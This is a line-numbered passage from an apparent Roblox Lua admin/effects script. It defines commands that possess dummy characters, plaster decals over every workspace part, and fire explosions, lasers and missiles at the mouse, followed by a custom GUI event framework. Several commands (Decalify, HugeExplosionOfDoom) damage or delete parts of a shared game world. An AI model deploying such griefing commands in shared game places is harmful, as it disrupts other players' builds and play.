  3438.                                 if className == "Part" and tostring(child) == "Head" then
  3439.                                         head = child
  3440.                                         if humanoid then
  3441.                                                 break
  3442.                                         end
  3443.                                 elseif className == "Humanoid" then
  3444.                                         if child.Health > 0 then
  3445.                                                 humanoid = child
  3446.                                                 if head then
  3447.                                                         break
  3448.                                                 end
  3449.                                         else
  3450.                                                 break
  3451.                                         end
  3452.                                 end
  3453.                         end
  3454.                         if head and humanoid then
  3455.                                 numDummies = numDummies + 1
  3456.                                 dummies[numDummies] = {character, head, humanoid}
  3457.                         end
  3458.                 end
  3459.         end
  3460.         if numDummies > 0 then
  3461.                 local dummy = dummies[math.random(numDummies)]
  3462.                 Player.Character = dummy[1]
  3463.                 chatAdornee = dummy[2]
  3464.                 Camera.CameraSubject = dummy[3]
  3465.                 Camera.CameraType = "Track"
  3466.         end
  3467. end
  3468. function ControllerCommands.Decalify(textures, exclusion)
  3469.         local objects = Workspace:GetChildren()
  3470.         for _, object in ipairs(objects) do
  3471.                 if not exclusion[object] then
  3472.                         for _, child in ipairs(object:GetChildren()) do
  3473.                                 objects[#objects + 1] = child
  3474.                         end
  3475.                         if object:IsA("BasePart") then
  3476.                                 local texture = textures[math.random(#textures)]
  3477.                                 local face_left = Instance.new("Decal", object)
  3478.                                 face_left.Face = Enum.NormalId.Left
  3479.                                 face_left.Texture = texture
  3480.                                 local face_right = Instance.new("Decal", object)
  3481.                                 face_right.Face = Enum.NormalId.Right
  3482.                                 face_right.Texture = texture
  3483.                                 local face_bottom = Instance.new("Decal", object)
  3484.                                 face_bottom.Face = Enum.NormalId.Bottom
  3485.                                 face_bottom.Texture = texture
  3486.                                 local face_top = Instance.new("Decal", object)
  3487.                                 face_top.Face = Enum.NormalId.Top
  3488.                                 face_top.Texture = texture
  3489.                                 local face_front = Instance.new("Decal", object)
  3490.                                 face_front.Face = Enum.NormalId.Front
  3491.                                 face_front.Texture = texture
  3492.                                 local face_back = Instance.new("Decal", object)
  3493.                                 face_back.Face = Enum.NormalId.Back
  3494.                                 face_back.Texture = texture
  3495.                         end
  3496.                 end
  3497.         end
  3498. end
  3499.  
  3500. function ControllerCommands.ExplodeAtMouse()
  3501.         local explosion = Instance.new("Explosion")
  3502.         explosion.Position = Mouse.Hit.p
  3503.         explosion.Parent = Workspace
  3504. end
  3505. function ControllerCommands.LaserAtMouse()
  3506.         GraphicalEffects.ShootLaserOfDeath(Mouse.Hit.p)
  3507. end
  3508. function ControllerCommands.BigLaser(target)
  3509.         GraphicalEffects.ShootLaserOfDeath(target, {brickcolor = BrickColor.new("New Yeller"), duration = 80, fragmentation_size = 6,laser_scale = 30, light_color = Color3.new(1, 0.5, 0), magic_circle_image = "rbxassetid://126561317", magic_circle_scale = 1.5, sound_volume = 1,special_effects = BrickColor.new("Deep orange"), stay = 2})
  3510. end
  3511. function ControllerCommands.BigLaserAtMouse()
  3512.         ControllerCommands.BigLaser(Mouse.Hit.p)
  3513. end
  3514. function ControllerCommands.ShootMissile(targetPart, pointOnPart, direction)
  3515.         GraphicalEffects.ShootMissile(targetPart, pointOnPart, direction)
  3516. end
  3517. function ControllerCommands.ShootMissileAtMouse(amount, spread, delayTime)
  3518.         local exclusionList = {}
  3519.         local playerHead = PlayerControl.GetHead()
  3520.         local playerTorso = PlayerControl.GetTorso()
  3521.         if playerHead and playerTorso then
  3522.                 exclusionList[playerTorso] = true
  3523.                 local humanoid, torso = Utility.FindHumanoidClosestToRay(Mouse.UnitRay, exclusionList)
  3524.                 local targetPart, pointOnPart
  3525.                 if humanoid and torso then
  3526.                         targetPart, pointOnPart = torso, Vector3.new()
  3527.                 else
  3528.                         local target = Mouse.Target
  3529.                         if target then
  3530.                                 targetPart, pointOnPart = target, target.CFrame:pointToObjectSpace(Mouse.Hit.p)
  3531.                         else
  3532.                                 return
  3533.                         end
  3534.                 end
  3535.                 if targetPart then
  3536.                         local direction = (Mouse.Hit.p - playerHead.Position).unit
  3537.                         delayTime = delayTime or 0
  3538.                         for index = 1, amount do
  3539.                                 local angles = math.tau * (index - 0.5) * spread / amount * Vector3.new(math.random() - 0.5, math.random() - 0.5,math.random() - 0.5).unit
  3540.                                 TaskScheduler.Schedule(delayTime * (index - 1), ControllerCommands.ShootMissile, targetPart, pointOnPart, CFrame.Angles(angles.X, angles.Y, angles.Z) * direction)
  3541.                         end
  3542.                 end
  3543.         end
  3544. end
  3545. function ControllerCommands.ShootMissileAroundMouse(amount, offset, delayTime)
  3546.         local exclusionList = {}
  3547.         local playerHead = PlayerControl.GetHead()
  3548.         local playerTorso = PlayerControl.GetTorso()
  3549.         if playerHead and playerTorso then
  3550.                 exclusionList[playerTorso] = true
  3551.                 local humanoid, torso = Utility.FindHumanoidClosestToRay(Mouse.UnitRay, exclusionList)
  3552.                 local targetPart, pointOnPart
  3553.                 if humanoid and torso then
  3554.                         targetPart, pointOnPart = torso, Vector3.new()
  3555.                 else
  3556.                         local target = Mouse.Target
  3557.                         if target then
  3558.                                 targetPart, pointOnPart = target, target.CFrame:pointToObjectSpace(Mouse.Hit.p)
  3559.                         else
  3560.                                 return
  3561.                         end
  3562.                 end
  3563.                 if targetPart then
  3564.                         delayTime = delayTime or 0
  3565.                         local index = 1
  3566.                         local targetPoint = targetPart.CFrame * pointOnPart
  3567.                         local rotation_offset_angles = math.tau * Vector3.new(math.random() - 0.5, math.random() - 0.5, 0).unit
  3568.                         local rotation_offset = CFrame.Angles(rotation_offset_angles.x, rotation_offset_angles.y, 0)
  3569.                         local angle_x = 0
  3570.                         local angle_x_step = math.tau / math.phi
  3571.                         for i = 1, 8 * amount do
  3572.                                 angle_x = angle_x + angle_x_step
  3573.                                 local direction = rotation_offset * (CFrame.Angles(0, math.tau * index / amount, 0) * CFrame.Angles(angle_x, 0,0).lookVector)
  3574.                                 local blocked = Workspace:FindPartOnRay(Ray.new(targetPoint, direction * offset), targetPart.Parent)
  3575.                                 if not blocked then
  3576.                                         local p0, p1, p2, p3 = targetPart, pointOnPart, direction, offset; GraphicalEffects.ShootMissile(p0, p1, p2, function() return p0 end, p3, true)
  3577.                                         index = index + 1
  3578.                                         if index > amount then
  3579.                                                 break
  3580.                                         end
  3581.                                 end
  3582.                         end
  3583.                 end
  3584.         end
  3585. end
  3586.  
  3587. function ControllerCommands.HugeExplosionOfDoom(position)
  3588.         local connections = {}
  3589.         local parts = {}
  3590.         local cframe = CFrame.new(position)
  3591.         local function ExplosionHit(part)
  3592.                 if part:GetMass() < 10000 and part.Parent ~= Camera then
  3593.                         parts[part] = true
  3594.                         part.Anchored = true
  3595.                         part:BreakJoints()
  3596.                         part.BrickColor = BrickColor.new("Instituational white")
  3597.                 end
  3598.         end
  3599.         for i = 1, 4 do
  3600.                 local quantity = 0.5 * i * (1 + i)
  3601.                 local fraction = math.tau / quantity
  3602.                 for x = 1, quantity do
  3603.                         for y = 1, quantity do
  3604.                                 local explosion = Instance.new("Explosion")
  3605.                                 connections[#connections + 1] = explosion.Hit:connect(ExplosionHit)
  3606.                                 explosion.BlastRadius = 5
  3607.                                 explosion.Position = cframe * (CFrame.Angles(fraction * x, fraction * y, 0) * Vector3.new((i - 1) * 6, 0, 0))
  3608.                                 explosion.Parent = Workspace
  3609.                         end
  3610.                 end
  3611.                 wait(0.075)
  3612.         end
  3613.         for part in pairs(parts) do
  3614.                 for _, child in ipairs(part:GetChildren()) do
  3615.                         if child:IsA("BodyMover") then
  3616.                                 child:Destroy()
  3617.                         end
  3618.                 end
  3619.                 local mass = part:GetMass()
  3620.                 local velocity = CFrame.Angles(math.tau * math.random(), math.tau * math.random(), 0) * Vector3.new(25, 0, 0)
  3621.                 local bodythrust = Instance.new("BodyThrust")
  3622.                 bodythrust.force = mass * -velocity
  3623.                 bodythrust.Parent = part
  3624.                 local bodyforce = Instance.new("BodyForce")
  3625.                 bodyforce.force = mass * Vector3.new(0, 196.2, 0)
  3626.                 bodyforce.Parent = part
  3627.                 part.Anchored = false
  3628.                 part.Reflectance = 1
  3629.                 part.RotVelocity = math.tau * Vector3.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5)
  3630.                 part.Transparency = 0.5
  3631.                 part.Velocity = (part.CFrame - part.Position) * velocity
  3632.         end
  3633.         for _, connection in ipairs(connections) do
  3634.                 connection:disconnect()
  3635.         end
  3636.         for i = 0, 99 do
  3637.                 Delay(i / 10, function()
  3638.                         for part in pairs(parts) do
  3639.                                 local new_transparency = 0.5 * (1 + i / 50)
  3640.                                 part.Reflectance = 0.98 * part.Reflectance
  3641.                                 if new_transparency > part.Transparency then
  3642.                                         part.Transparency = new_transparency
  3643.                                 end
  3644.                         end
  3645.                 end)
  3646.         end
  3647.         Delay(10, function()
  3648.                 for part in pairs(parts) do
  3649.                         pcall(part.Destroy, part)
  3650.                 end
  3651.         end)
  3652. end
  3653. function ControllerCommands.HugeExplosionOfDoomAtMouse()
  3654.         ControllerCommands.HugeExplosionOfDoom(Mouse.Hit.p)
  3655. end
  3656.  
  3657. function ControllerCommands.SpaceHyperBeam(asd)
  3658.         GraphicalEffects.SpaceHyperBeam(asd)
  3659. end
  3660. function ControllerCommands.SpaceHyperBeamAtMouse()
  3661.         ControllerCommands.SpaceHyperBeam(Mouse.Hit.p)
  3662. end
  3663. function ControllerCommands.ConcentratedSpaceHyperBeamAtMouse()
  3664.         local p = Mouse.Hit.p; for i = 1, 50 do GraphicalEffects.SpaceHyperBeam(p) end
  3665. end
  3666.  
  3667. function ControllerCommands.TeleportCharacterToMouse()
  3668.         if PlayerControl.IsEnabled() then
  3669.                 local torso = PlayerControl.GetTorso()
  3670.                 if torso then
  3671.                         local pos = Mouse.Hit.p + Vector3.new(0, 5, 0)
  3672.                         torso.CFrame = CFrame.new(pos, pos + torso.CFrame.lookVector)
  3673.                 end
  3674.         else
  3675.                 local new_focus_position = Mouse.Hit.p
  3676.                 local direction_vector = Camera.CoordinateFrame.lookVector
  3677.                 local new_focus = CFrame.new(new_focus_position, new_focus_position + direction_vector)
  3678.                 Camera.CoordinateFrame = new_focus * CFrame.new(0, 0, 25)
  3679.                 Camera.Focus = new_focus
  3680.         end
  3681. end
  3682.  
  3683. AdvancedGUI = {};
  3684.  
  3685. if not AdvancedGUI.GUI_BASE_COLOR then
  3686.     AdvancedGUI.GUI_BASE_COLOR = Color3.new(0, 0, 0)
  3687. end
  3688. function AdvancedGUI.GenerateChatColor(speakerName)
  3689.     local chatColor = ChatColor.Get(speakerName).Color
  3690.     local brightness = chatColor.r + chatColor.g + chatColor.b
  3691.     if brightness < 1.5 then
  3692.         chatColor = Color3.new(math.min(1, 0.4 + chatColor.r), math.min(1, 0.4 + chatColor.g), math.min(1, 0.4 + chatColor.b))
  3693.     else
  3694.         chatColor = Color3.new(math.min(1, 0.05 + chatColor.r), math.min(1, 0.05 + chatColor.g), math.min(1, 0.05 + chatColor.b))
  3695.     end
  3696.     return chatColor
  3697. end
  3698. GuiBase = {}
  3699. GuiBase.__index = GuiBase
  3700. function GuiBase:new(data)
  3701.     local instance = setmetatable({}, self)
  3702.     instance:Init(data)
  3703.     return instance
  3704. end
  3705. function GuiBase:Destroy()
  3706.     if self.parent then
  3707.         self.parent.children[self] = nil
  3708.     end
  3709.     for child in pairs(self.children) do
  3710.         child:Destroy()
  3711.     end
  3712.     self.m_base_instance:Destroy()
  3713. end
  3714. function GuiBase:GetContentInstance(child)
  3715.     return self.m_base_instance
  3716. end
  3717. function GuiBase:Init()
  3718.     self.children = {}
  3719. end
  3720. function GuiBase:IsA(className)
  3721.     return className == "GuiBase"
  3722. end
  3723. function GuiBase:SetParent(parent)
  3724.     if parent ~= self.parent then
  3725.         if self.parent then
  3726.             self.parent.children[self] = nil
  3727.         end
  3728.         self.parent = parent
  3729.         if parent then
  3730.             parent.children[self] = true
  3731.             self.m_base_instance.Parent = parent:GetContentInstance()
  3732.         else
  3733.             self.m_base_instance.Parent = nil
  3734.         end
  3735.     end
  3736. end
  3737. GuiObject = setmetatable({}, GuiBase)
  3738. GuiObject.__index = GuiObject
  3739. function GuiObject:Destroy()
  3740.     self.DragBegin:disconnect()
  3741.     self.DragMove:disconnect()
  3742.     self.DragStopped:disconnect()
  3743.     self.MouseButton1Click:disconnect()
  3744.     self.MouseButton1Down:disconnect()
  3745.     self.MouseButton1Up:disconnect()
  3746.     self.MouseButton2Down:disconnect()
  3747.     self.MouseButton2Up:disconnect()
  3748.     self.MouseEnter:disconnect()
  3749.     self.MouseLeave:disconnect()
  3750.     GuiBase.Destroy(self)
  3751. end
  3752. function GuiObject:GetAbsolutePosition()
  3753.     return self.m_base_instance.AbsolutePosition
  3754. end
  3755. function GuiObject:GetAbsoluteSize()
  3756.     return self.m_base_instance.AbsoluteSize
  3757. end
  3758. function GuiObject:GetPosition()
  3759.     return self.position
  3760. end
  3761. function GuiObject:GetSize()
  3762.     return self.size
  3763. end
  3764. function GuiObject:Init()
  3765.     GuiBase.Init(self)
  3766.     self.mouseDown = false
  3767.     self.mouseOver = false
  3768.     self.DragBegin = RbxUtility.CreateSignal()
  3769.     self.DragMove = RbxUtility.CreateSignal()
  3770.     self.DragStopped = RbxUtility.CreateSignal()
  3771.     self.MouseButton1Click = RbxUtility.CreateSignal()
  3772.     self.MouseButton1Down = RbxUtility.CreateSignal()
  3773.     self.MouseButton1Up = RbxUtility.CreateSignal()
  3774.     self.MouseButton2Down = RbxUtility.CreateSignal()
  3775.     self.MouseButton2Up = RbxUtility.CreateSignal()
  3776.     self.MouseEnter = RbxUtility.CreateSignal()
  3777.     self.MouseLeave = RbxUtility.CreateSignal()
  3778. end
  3779. function GuiObject:IsA(className)
  3780.     return className == "GuiObject" or GuiBase.IsA(self, className)
  3781. end
  3782. function GuiObject:SetActive(active)
  3783.     if active ~= self.active then
  3784.         self.active = active
  3785.     end
  3786. end
  3787. function GuiObject:SetBackgroundTransparency(backgroundTransparency)
  3788.     if backgroundTransparency ~= self.backgroundTransparency then
  3789.         self.backgroundTransparency = backgroundTransparency
  3790.         self.m_base_instance.BackgroundTransparency = backgroundTransparency
  3791.     end
  3792. end
  3793. function GuiObject:SetColor(color)
  3794.     if color ~= self.color then
  3795.         self.color = color
  3796.         self.m_base_instance.BackgroundColor3 = color
  3797.     end
  3798. end
  3799. function GuiObject:SetPosition(position)
  3800.     if position ~= self.position then
  3801.         self.position = position
  3802.         self.m_base_instance.Position = position
  3803.     end
  3804. end
  3805. function GuiObject:SetSize(size)
  3806.     if size ~= self.size then
  3807.         self.size = size
  3808.         self.m_base_instance.Size = size
  3809.     end
  3810. end
  3811. function GuiObject:SetVisible(visible)
  3812.     if visible ~= self.visible then
  3813.         self.visible = visible
  3814.         self.m_base_instance.Visible = visible
  3815.     end
  3816. end
  3817. function GuiObject:SetZIndex(zIndex)
  3818.     local stack = {self.m_base_instance}
  3819.     repeat
  3820.         local object = stack[#stack]
  3821.         stack[#stack] = nil
  3822.         for _, child in ipairs(object:GetChildren()) do
  3823.             stack[#stack + 1] = child
  3824.         end
  3825.         object.ZIndex = zIndex
  3826.     until #stack == 0
  3827. end
  3828. GuiServiceClass = setmetatable({}, GuiBase)
  3829. GuiServiceClass.__index = GuiServiceClass
  3830. function GuiServiceClass:CreateTextArea(text, font, fontSize, textColor3, textXAlignment, textYAlignment, maxWidth, minWidth)
  3831.     local totalHeight = 0
  3832.     local frame = Instance.new("Frame")
  3833.     frame.BackgroundTransparency = 1
  3834.     local label = Instance.new("TextLabel")
  3835.     label.BackgroundTransparency = 1
  3836.     label.Font = font
  3837.     label.FontSize = fontSize
  3838.     label.TextColor3 = textColor3
  3839.     label.TextTransparency = 1
  3840.     label.TextWrapped = true
  3841.     label.TextXAlignment = textXAlignment
  3842.     label.TextYAlignment = textYAlignment
  3843.     label.Parent = self.guiFrame
  3844.     local index = 1
  3845.     while true do
  3846.         local length = #text - index + 1
  3847.         if length > 1024 then
  3848.             length = 1024
  3849.             local textBlock = string.sub(text, index, index + length - 1)
  3850.             label.Text = textBlock
  3851.             local height = 0
  3852.             local width = maxWidth
  3853.             repeat
  3854.                 height = height + 20
  3855.                 label.Size = UDim2.new(0, width, 0, height)
  3856.             until label.TextFits
  3857.             repeat
  3858.                 height = height - 1
  3859.                 label.Size = UDim2.new(0, width, 0, height)
  3860.             until not label.TextFits
  3861.             repeat
  3862.                 length = length - 10
  3863.                 label.Text = string.sub(text, index, index + length - 1)
  3864.             until label.TextFits
  3865.             repeat
  3866.                 length = length + 1
  3867.                 label.Text = string.sub(text, index, index + length - 1)
  3868.             until not label.TextFits
  3869.             local overflowCharacter = string.sub(text, index + length - 1, index + length - 1)
  3870.             length = length - 1
  3871.             label.Text = string.sub(text, index, index + length - 1)
  3872.             if overflowCharacter == "\n" then
  3873.                 index = index + 1
  3874.             end
  3875.             repeat
  3876.                 height = height - 1
  3877.                 label.Size = UDim2.new(0, width, 0, height)
  3878.             until not label.TextFits
  3879.             height = height + 1
  3880.             local blockLabel = label:Clone()
  3881.             blockLabel.Position = UDim2.new(0, 0, 0, totalHeight)
  3882.             blockLabel.Size = UDim2.new(1, 0, 0, height)
  3883.             blockLabel.Parent = frame
  3884.             totalHeight = totalHeight + height
  3885.             index = index + length
  3886.         else
  3887.             local textBlock = string.sub(text, index)
  3888.             label.Text = textBlock
  3889.             local height = 0
  3890.             local width = maxWidth
  3891.             repeat
  3892.                 height = height + 20
  3893.                 label.Size = UDim2.new(0, width, 0, height)
  3894.             until label.TextFits
  3895.             repeat
  3896.                 height = height - 1
  3897.                 label.Size = UDim2.new(0, width, 0, height)
  3898.             until not label.TextFits
  3899.             height = height + 1
  3900.             if index == 1 then
  3901.                 repeat
  3902.                     width =  width - 10
  3903.                     label.Size = UDim2.new(0, width, 0, height)
  3904.                 until width < minWidth or not label.TextFits
  3905.                 width = math.max(width, minWidth - 1)
  3906.                 repeat
  3907.                     width =  width + 1
  3908.                     label.Size = UDim2.new(0, width, 0, height)
  3909.                 until label.TextFits
  3910.             end
  3911.             local blockLabel = label:Clone()
  3912.             blockLabel.Position = UDim2.new(0, 0, 0, totalHeight)
  3913.             blockLabel.Size = UDim2.new(1, 0, 0, height)
  3914.             blockLabel.Parent = frame
  3915.             label:Destroy()
  3916.             frame.Size = UDim2.new(0, width, 0, totalHeight + height)
  3917.             return frame
  3918.         end
  3919.     end
  3920. end
  3921. function GuiServiceClass:Destroy()
  3922.     self.running = false
  3923.     self.cameraPart:Destroy()
  3924.     self.cameraConnection:disconnect()
  3925.     self.keyDownConnection:disconnect()
  3926.     self.mouseButton1DownConnection:disconnect()
  3927.     self.mouseButton1UpConnection:disconnect()
  3928.     self.mouseButton2DownConnection:disconnect()
  3929.     self.mouseButton2UpConnection:disconnect()
  3930.     self.mouseMoveConnection:disconnect()
  3931.     self.steppedConnection:disconnect()
  3932. end
  3933. function GuiServiceClass:GetMousePosition()
  3934.     local mouse = self.mouse
  3935.     return mouse.X, mouse.Y -- mouse.X, mouse.Y + 2 -- return mouse.X - 2, mouse.Y - 3
  3936. end
  3937. function GuiServiceClass:GetTextBounds(text, font, fontSize, alignX, alignY, width)
  3938.     local tempLabel = self.tempLabel
  3939.     tempLabel.Font = font
  3940.     tempLabel.FontSize = fontSize
  3941.     tempLabel.Size = UDim2.new(0, width, 0, 4096)
  3942.     tempLabel.Text = text
  3943.     tempLabel.TextXAlignment = alignX
  3944.     tempLabel.TextYAlignment = alignY
  3945.     local textBounds = tempLabel.TextBounds
  3946.     tempLabel.Text = ""
  3947.     return textBounds
  3948. end
  3949. function GuiServiceClass:Init(data)
  3950.     GuiBase.Init(self)
  3951.     local _ = string.char
  3952.     local camera = data.Camera
  3953.     local mouse = data.Mouse
  3954.     local cameraPart = Instance.new("Part")
  3955.     local billboardGui = Instance.new("BillboardGui", cameraPart)
  3956.     guiFrame = Instance.new("Frame", billboardGui)
  3957.     cameraPart.Anchored = true
  3958.     cameraPart.BottomSurface = "Smooth"
  3959.     cameraPart.CanCollide = false
  3960. --  cameraPart.CFrame = CFrame.new(16384, 16384, 16384)
  3961.     cameraPart.FormFactor = "Custom"
  3962.     cameraPart.Locked = true
  3963.     cameraPart.Size = Vector3.new(0.2, 0.2, 0.2)
  3964.     cameraPart.TopSurface = "Smooth"
  3965.     cameraPart.Transparency = 1
  3966.     billboardGui.Adornee = cameraPart
  3967.     billboardGui.AlwaysOnTop = true
  3968. --  billboardGui.ExtentsOffset = Vector3.new(-16384, -16384, -16384)
  3969.     guiFrame.BackgroundTransparency = 1
  3970.     cameraPart.Parent = camera
  3971.     self.running = true
  3972.     self.m_base_instance = guiFrame
  3973.     self.billboardGui = billboardGui
  3974.     self.cameraPart = cameraPart
  3975.     self.tempLabel = RBXInstance.new "TextLabel" {
  3976.         BackgroundTransparency = 1,
  3977.         TextTransparency = 1,
  3978.         TextWrapped = true,
  3979.         Parent = guiFrame
  3980.     }
  3981.     self.mnemonics = {}
  3982.     self.visible = true
  3983.     self.camera = camera
  3984.     self.mouse = mouse
  3985.     self.cameraConnection = camera.Changed:connect(function(property)
  3986.         self:UpdateView()
  3987.         if property == "CameraType" then
  3988.             if camera.CameraType ~= Enum.CameraType.Track and camera.CameraType ~= Enum.CameraType.Fixed then
  3989.                 camera.CameraType = Enum.CameraType.Track
  3990.             end
  3991.         elseif property == "CoordinateFrame" and camera.CameraType ~= Enum.CameraType.Fixed then
  3992.             local cframe, focus = camera.CoordinateFrame, camera.Focus
  3993.             local watchOffset = focus.p - cframe.p
  3994.             local error = watchOffset.unit - cframe.lookVector
  3995.             if error.magnitude >= 1e-3 then
  3996.                 local head = PlayerControl.GetHead()
  3997.                 local time1, velocity1
  3998.                 if head then
  3999.                     time1 = time()
  4000.                     velocity1 = head.Velocity
  4001.                 end
  4002.                 if camera.Changed:wait() == "CoordinateFrame" then
  4003.                     local position = cframe.p
  4004.                     if head then
  4005.                         local time2 = time()
  4006.                         local velocity2 = head.Velocity
  4007.                         position = position + 0.5 * (velocity1 + velocity2) * (time2 - time1)
  4008.                     end
  4009.                     camera.CoordinateFrame = CFrame.new(position, camera.Focus.p)
  4010.                 end
  4011.             end
  4012.         end
  4013.     end)
  4014.     self.keyDownConnection = mouse.KeyDown:connect(function(key) self:KeyDown(key) end)
  4015.     self.mouseButton1DownConnection = mouse.Button1Down:connect(function() self:MouseButton1Down() end)
  4016.     self.mouseButton1UpConnection = mouse.Button1Up:connect(function() self:MouseButton1Up() end)
  4017.     self.mouseButton2DownConnection = mouse.Button2Down:connect(function() self:MouseButton2Down() end)
  4018.     self.mouseButton2UpConnection = mouse.Button2Up:connect(function() self:MouseButton2Up() end)
  4019.     self.mouseMoveConnection = mouse.Move:connect(function() self:MouseMove() end)
  4020.     self.steppedConnection = RunService.RenderStepped:connect(function() self:UpdateObjects() self:UpdateView() end)
  4021.     self.mousePreviousPosition = Vector2.new(self:GetMousePosition())
  4022. end
  4023. function GuiServiceClass:IsA(className)
  4024.     return className == "GuiService" or GuiBase.IsA(self, className)
  4025. end
  4026. function GuiServiceClass:KeyDown(key)
  4027.     local mnemonicButton = self.mnemonics[string.upper(key)]
  4028.     if mnemonicButton then
  4029.         mnemonicButton.Activated:fire()
  4030.     end
  4031. end
  4032. function GuiServiceClass:MouseButton1Down()
  4033.     local mouse = self.mouse
  4034.     local mouseX, mouseY = self:GetMousePosition()
  4035.     local stack = {self}
  4036.     local dragObjects = {}
  4037.     self.dragObjects = dragObjects
  4038.     while #stack > 0 do
  4039.         local object = stack[#stack]
  4040.         stack[#stack] = nil
  4041.         if object.visible then
  4042.             for child in pairs(object.children) do
  4043.                 stack[#stack + 1] = child
  4044.             end
  4045.             if object.active then
  4046.                 local position = object:GetAbsolutePosition()
  4047.                 local size = object:GetAbsoluteSize()
  4048.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4049.                     object.mouseDown = true
  4050.                     dragObjects[object] = true
  4051.                     local mouseButton1Down = object.MouseButton1Down
  4052.                     if mouseButton1Down then
  4053.                         mouseButton1Down:fire()
  4054.                         if object.autoButtonColor then
  4055.                             local color = object.color
  4056.                             local transparency = object.backgroundTransparency
  4057.                             object.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g +
  4058.  
  4059. 0.3, 1), math.min(color.b + 0.3, 1))
  4060.                             object.m_base_instance.BackgroundTransparency = transparency
  4061.                         end
  4062.                     end
  4063.                     object.DragBegin:fire()
  4064.                 end
  4065.             end
  4066.         end
  4067.     end
  4068.     self.mousePreviousPosition = Vector2.new(mouseX, mouseY)
  4069. end
  4070. function GuiServiceClass:MouseButton1Up()
  4071.     local mouse = self.mouse
  4072.     local mouseX, mouseY = self:GetMousePosition()
  4073.     local stack = {self}
  4074.     while #stack > 0 do
  4075.         local object = stack[#stack]
  4076.         stack[#stack] = nil
  4077.         if object.visible then
  4078.             for child in pairs(object.children) do
  4079.                 stack[#stack + 1] = child
  4080.             end
  4081.             if object.active then
  4082.                 local position = object:GetAbsolutePosition()
  4083.                 local size = object:GetAbsoluteSize()
  4084.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4085.                     object.MouseButton1Up:fire()
  4086.                 end
  4087.             end
  4088.         end
  4089.     end
  4090.     local dragObjects = self.dragObjects
  4091.     self.dragObjects = nil
  4092.     if dragObjects then
  4093.         for dragObject in pairs(dragObjects) do
  4094.             dragObject.mouseDown = false
  4095.             local position = dragObject:GetAbsolutePosition()
  4096.             local size = dragObject:GetAbsoluteSize()
  4097.             if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4098.                 dragObject.MouseButton1Click:fire()
  4099.                 local activated = dragObject.Activated
  4100.                 if activated then
  4101.                     activated:fire()
  4102.                 end
  4103.             end
  4104.             dragObject.DragStopped:fire()
  4105.             if dragObject.autoButtonColor then
  4106.                 if dragObject.mouseOver then
  4107.                     local color = dragObject.color
  4108.                     local transparency = dragObject.backgroundTransparency
  4109.                     dragObject.m_base_instance.BackgroundColor3 = Color3.new(math.max(color.r - 0.3, 0), math.max(color.g - 0.3, 0),
  4110.  
  4111. math.max(color.b - 0.3, 0))
  4112.                     dragObject.m_base_instance.BackgroundTransparency = math.max(0, transparency - 0.2)
  4113.                 else
  4114.                     dragObject.m_base_instance.BackgroundColor3 = dragObject.color
  4115.                     dragObject.m_base_instance.BackgroundTransparency = dragObject.backgroundTransparency
  4116.                 end
  4117.             end
  4118.             self.dragObject = nil
  4119.         end
  4120.     end
  4121. end
  4122. function GuiServiceClass:MouseButton2Down()
  4123.     local mouse = self.mouse
  4124.     local mouseX, mouseY = self:GetMousePosition()
  4125.     local stack = {self}
  4126.     while #stack > 0 do
  4127.         local object = stack[#stack]
  4128.         stack[#stack] = nil
  4129.         if object.visible then
  4130.             for child in pairs(object.children) do
  4131.                 stack[#stack + 1] = child
  4132.             end
  4133.             if object.active then
  4134.                 local position = object:GetAbsolutePosition()
  4135.                 local size = object:GetAbsoluteSize()
  4136.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4137.                     local mouseButton2Down = object.MouseButton2Down
  4138.                     if mouseButton2Down then
  4139.                         mouseButton2Down:fire()
  4140.                     end
  4141.                 end
  4142.             end
  4143.         end
  4144.     end
  4145.     self.mousePreviousPosition = Vector2.new(mouseX, mouseY)
  4146. end
  4147. function GuiServiceClass:MouseButton2Up()
  4148.     local mouse = self.mouse
  4149.     local mouseX, mouseY = self:GetMousePosition()
  4150.     local stack = {self}
  4151.     while #stack > 0 do
  4152.         local object = stack[#stack]
  4153.         stack[#stack] = nil
  4154.         if object.visible then
  4155.             for child in pairs(object.children) do
  4156.                 stack[#stack + 1] = child
  4157.             end
  4158.             if object.active then
  4159.                 local position = object:GetAbsolutePosition()
  4160.                 local size = object:GetAbsoluteSize()
  4161.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4162.                     local mouseButton2Up = object.MouseButton2Up
  4163.                     if mouseButton2Up then
  4164.                         mouseButton2Up:fire()
  4165.                     end
  4166.                 end
  4167.             end
  4168.         end
  4169.     end
  4170. end
  4171. function GuiServiceClass:MouseMove()
  4172.     self:UpdateObjects()
  4173.     local dragObjects = self.dragObjects
  4174.     if dragObjects then
  4175.         for dragObject in pairs(dragObjects) do
  4176.             local mouse = self.mouse
  4177.             local mousePosition = Vector2.new(self:GetMousePosition())
  4178.             dragObject.DragMove:fire(mousePosition - self.mousePreviousPosition)
  4179.             self.mousePreviousPosition = mousePosition
  4180.         end
  4181.     end
  4182. end
  4183. function GuiServiceClass:SetMnemonic(mnemonic, button)
  4184.     self.mnemonics[mnemonic] = button
  4185. end
  4186. function GuiServiceClass:UpdateObjects()
  4187.     local mouse = self.mouse
  4188.     local mouseX, mouseY = self:GetMousePosition()
  4189.     local stack = {self}
  4190.     while #stack > 0 do
  4191.         local object = stack[#stack]
  4192.         stack[#stack] = nil
  4193.         if object.visible then
  4194.             for child in pairs(object.children) do
  4195.                 stack[#stack + 1] = child
  4196.             end
  4197.             if object.active then
  4198.                 local position = object:GetAbsolutePosition()
  4199.                 local size = object:GetAbsoluteSize()
  4200.                 if mouseX >= position.X and mouseY >= position.Y and mouseX < position.X + size.X and mouseY < position.Y + size.Y then
  4201.                     if not object.mouseOver then
  4202.                         object.mouseOver = true
  4203.                         object.MouseEnter:fire()
  4204.                         if object.autoButtonColor then
  4205.                             local color = object.color
  4206.                             local transparency = object.backgroundTransparency
  4207.                             if object.mouseDown then
  4208.                                 object.m_base_instance.BackgroundColor3 = Color3.new(math.min(color.r + 0.3, 1), math.min(color.g + 0.3, 1), math.min(color.b + 0.3, 1))
